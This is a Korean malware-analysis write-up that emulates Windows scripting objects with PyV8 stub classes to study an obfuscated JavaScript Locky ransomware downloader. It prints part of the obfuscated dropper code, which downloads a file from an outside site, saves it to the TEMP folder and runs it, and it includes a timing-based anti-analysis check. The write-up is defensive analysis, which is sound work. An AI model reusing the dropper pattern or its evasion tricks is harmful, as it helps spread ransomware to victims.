이 악성코드는 Locky 랜섬웨어라고 알려져있으며, 자바스크립트 난독화를 통해 분석을 어렵게 한 것이 특징이다.
하지만 PyV8을 이용해 Python Native API를 작성하고 오류 메시지를 확인하면서 API를 보완해나가면 난독화된 랜섬웨어 코드도 분석이 가능하다.
이 프로젝트에서는 python dummy api를 작성해 난독화된 Locky 랜섬웨어 코드의 동작 원리를 분석해보았다.
악성코드 소스
https://github.com/ottl-seo/Malware_Project/tree/master/javascript-ransomware-nativeAPI
var vyKEmmrhFxZdWe = "f";
var XccsRPx = "isd";
var xGHYjNQKT = "auh";
var JEnYmBAqfGV = "fy";
var GQOcBHIrnbzXfND = "sd";
var xtsrPxKCya = "og";
var TjiVHcYkly = "fa7";
var OedFzC = "d8";
var lLw = "hgs";
var NxizN = "au7";
var VuvFkTYyXWE = "f";
var XWJ = "sd";
// 중략...
WScript.Sleep(10);
var ZqQEM = new Date();
var TGqBh = ZqQEM.getMilliseconds();
WScript.Sleep(10);
var ZqQEM = new Date();
var onGxzHNxXfYI = ZqQEM.getMilliseconds();
var dheqOG = cJfZh - pgwiqeevFTwJ;
var HYzZWKSbniHSp = TGqBh - cJfZh;
var dtfmtkWnrKo = onGxzHNxXfYI - TGqBh;
WshShell = WScript[wHGqrO + dxSZvl + JnKFoms + ArXLfbfJYAuMNn + BLXkQxP + dVBRnpuIFCGavzX + ZTit + RGH0](YHMNtQzqt + jZVkl + gDHPayqkuPu + RHfBNnFuKZoI + KjzatIZBIiCW + BBujaJIB + TllbdupzD);
function JlswcFgYHKvjD(TAXdOhCKhg){WshShell[kIOK + DfdyswguaZpAlRG](TAXdOhCKhg, 0, 0);}
function MvEKLcirHYnFRfF(n){return qoz + ptOUpMuUSgtbIp + twRGIP + MAOUtweRuskUfy + dgYjXRPEPfGV + pmrx + GnTTeJZTyI;}
if ((dheqOG != HYzZWKSbniHSp) || (HYzZWKSbniHSp != dtfmtkWnrKo)){ClJ = WshShell[sOK + vERZTjBviaK + SPwycXESxAW + Ufi0 + aiplDlCkEun + ywofnD + TxLOhBaymy + WwxSO + ZhmPwpIZmMnGzM + QwpdWVHoVApnlCN + vXKlwSD + iJSbpuVHJypOMd + OLLja + Ymmzey](DhyvkobECgEPz + LSwtJXBtmmF + iEXKFVhoND) + qalCAhrGkurCK + unuqBvUOgaoWi + JYvV + NEXYXXH + SQmMHXLrUNUjj + dGH + VEx + aiBqZpdcLonUFo;
GUIWYQboxOa = MvEKLcirHYnFRfF(0);
dQZfBp = WScript.CreateObject(GUIWYQboxOa);
dQZfBp[DkpidnzOqisg + oSvFlUKfYW + GCsiNU](XKmAmq + ZkFGmb, qCyNnjRbbaIfPXO + xbCmjbkvEeET + tsQder + rqrnQ + VHTPR + Bqwxry + hCTtOvOFKoygvR + mYb + JQiktsCjXTysE + hTJcscPDI + ekB + iNdmuxLnH + Hzjq + ojxWfuFYZ + gWsYbgpGfqmgfVE + bTxtNQJIyySs + FljUFQhCxi + wsDdERCvlvG + hJroRoi + VvIruZ + LAYzMSURCXkyTd + khgI + npP0 + RuPn, false);
dQZfBp.send();
while (dQZfBp.readystate < 4 ) {WScript.Sleep(1000)};
// 중략
분석 결과
분석에 앞서, 이 랜섬웨어가 어떤 동작을 수행하는지 정리해보았다.
해당 악성코드는 다음과 같은 동작을 차례로 수행한다.
- 웹사이트 (http://www.kidshealing~~~ ) 에서 파일 다운로드
- 사용자 컴퓨터의 TEMP 폴더에 저장
- 다운받은 파일 실행
특정 사이트에서 파일을 다운로드하여 사용자의 컴퓨터에 저장하고 실행하는 바이러스이다.
분석 과정
1. PyV8을 import하고 초기 세팅
※ 주의
악성코드 파일은 .js_vir 와 같이 잘못된 확장자로 저장해야 악성 행위가 실행되지 않는다.
.py 파일에서 악성코드 파일을 open 할 때, .js_vir 파일을 로딩하도록 한다.
c.f) .js_vir 파일을 .js 파일로도 저장하여, 자바스크립트 문법을 보기 편하게 세팅해주었다.
2. cmd창에서 실행 결과, WScript.Sleep(10); 부분에서 정의되지 않았다는 오류 발생
3. NativeAPI 클래스 정의 (WScript 클래스 정의)
- PyV8을 초기화할 때 사용하는 JSContext() 함수의 인자로 NativeAPI() 클래스 넣어줌
👉 결과
(1) WScript.Sleep() 정상 작동.
(2) WScript의 ‘CreateObject’ Property가 정의되지 않았다는 오류 메시지 발생.
* 오류가 난 js 코드 부분:
4. WScript 클래스 안에 CreateObject() 추가 정의
👉 결과
(1) WScipt.CreateObject()의 인자로 ‘WScript.Shell’라는 문자열이 온다는 것 알 수 있음.
(2) ExpandEnvironmentStrings TypeError 발생 : 환경변수의 Type이 맞지 않아 생긴 오류 => 5번에서 해결
5. WshShell 클래스 정의
환경변수의 Type이 맞지 않아 생긴 오류를 해결하기 위해,
ExpandEnvironmentStrings()을 이용하여 환경변수값을 바꾸는 함수를 추가해준다.
파이썬의 _winreg 모듈을 import 하고, 인자로 받은 문자열(uni)을 유니코드 문자열로 바꾸어 환경변수를 변경해주었다.
이후 유니코드 문자열로 바꾼 전과 후를 출력하였다.
👉 결과
(1) 인자로 받은 문자열: %TEMP%
(2) 이는 유니코드 문자열로 사용자 컴퓨터의 Temp 폴더를 가리키는 문자열로 변경됨을 알 수 있다.
(3) WScript.CreateObject()가 다시 실행되며 ‘MSXML2.XMLHTTP’ 를 출력하였다.
(4) Open() 메서드가 정의되어 있지 않다는 오류 메시지 => 6 번에서 해결
6. XMLHTTP 클래스 정의
WScript.CreateObject에 ‘msxml2.xmlhttp’일 경우, XMLHTTP 클래스를 반환하도록 추가한다.
- 아래 js 코드를 통해 XMLHTTP 클래스에 send()가 있음을 알 수 있다.
==> 이를 통해 정의한 XMLHTTP 클래스 코드
👉 결과
1) XMLHTTP.Open() 실행 시, 웹사이트 주소가 나온다. (b)
즉, XMLHTTP 를 수행함으로써 수상한 웹사이트에 접속하는 동작을 수행한다.
2) WScript.CreateObject: ADOBD.Stream 이 출력된다.
7. ADODBStream 클래스 정의
ADODBStream 클래스 정의,
WScript.CreateObjec()에도 adodbStream 반환하는 내용 추가
👉 결과
- write property 가 없다는 메시지를 통해 알 수 있는 사실
1) ADODBStream 클래스에 write() 추가 필요
2) SaveToFile() 추가 필요
3) close() 추가 필요
==> ADODBStream 클래스 최종 코드
👉 결과
💡 알 수 있는 사실
1) SaveToFile 함수를 통해 Temp 폴더에 ,exe 파일을 저장한다.
2) WshShell 클래스에 Run() 추가 필요하다는 메시지
8. WshShell 클래스에 함수 추가
👉 결과: 저장한 .exe 파일이 실행된다.
분석 끝!
NativeAPI 전체 코드
# -*- coding:utf-8 -*-
import PyV8
import _winreg
def WScript_create():
return WScript()
class WshShell(PyV8.JSClass):
def ExpandEnvironmentStrings(self, uni):
str=_winreg.ExpandEnvironmentStrings(unicode(uni)) #환경변수 변경
print '[*] ExpandEnvironmentStrings: ', uni
print ' -> new: ', str
return str
def Run(self,a,b,c):
print '[*] WshShell.Run '
print ' - a: ', a
print ' - b: ', b
print ' - c: ', c
class XMLHTTP(PyV8.JSClass):
def send(self):
print '[*] XMLHTTP.send'
def open(self, a, b, c):
print '[*] XMLHTTP.open : '
print ' - a: ', a
print ' - b: ', b
print ' - c: ', c
class ADODBStream(PyV8.JSClass):
def send(self):
print '[*] ADODBStream.send'
def open(self):
print '[*] ADODBStream.open'
def write(self, a):
print '[*] ADODBStream.write'
print ' - a: ',a
def SaveToFile(self,a,b):
print '[*] ADODBStream.SaveToFile:'
print ' - a: ', a
print ' - b: ', b
def close(self):
print '[*] ADODBStream.close'
class WScript(PyV8.JSClass):
def Sleep(self, n):
print '[*] WScript.Sleep : ',n
def CreateObject(self,str):
print '[*] WScript.CreateObject : ',str
if(str.lower()=='wscript.shell'):
return WshShell()
elif(str.lower()=='msxml2.xmlhttp'):
return XMLHTTP()
elif(str.lower()=='adodb.stream'):
return ADODBStream()
class NativeAPI(PyV8.JSClass):
WScript=WScript_create()
ctx=PyV8.JSContext(NativeAPI()) # pyV8 초기화
ctx.enter()
buf=open('details_8f3759.js_vir','rb').read()
ctx.eval(buf)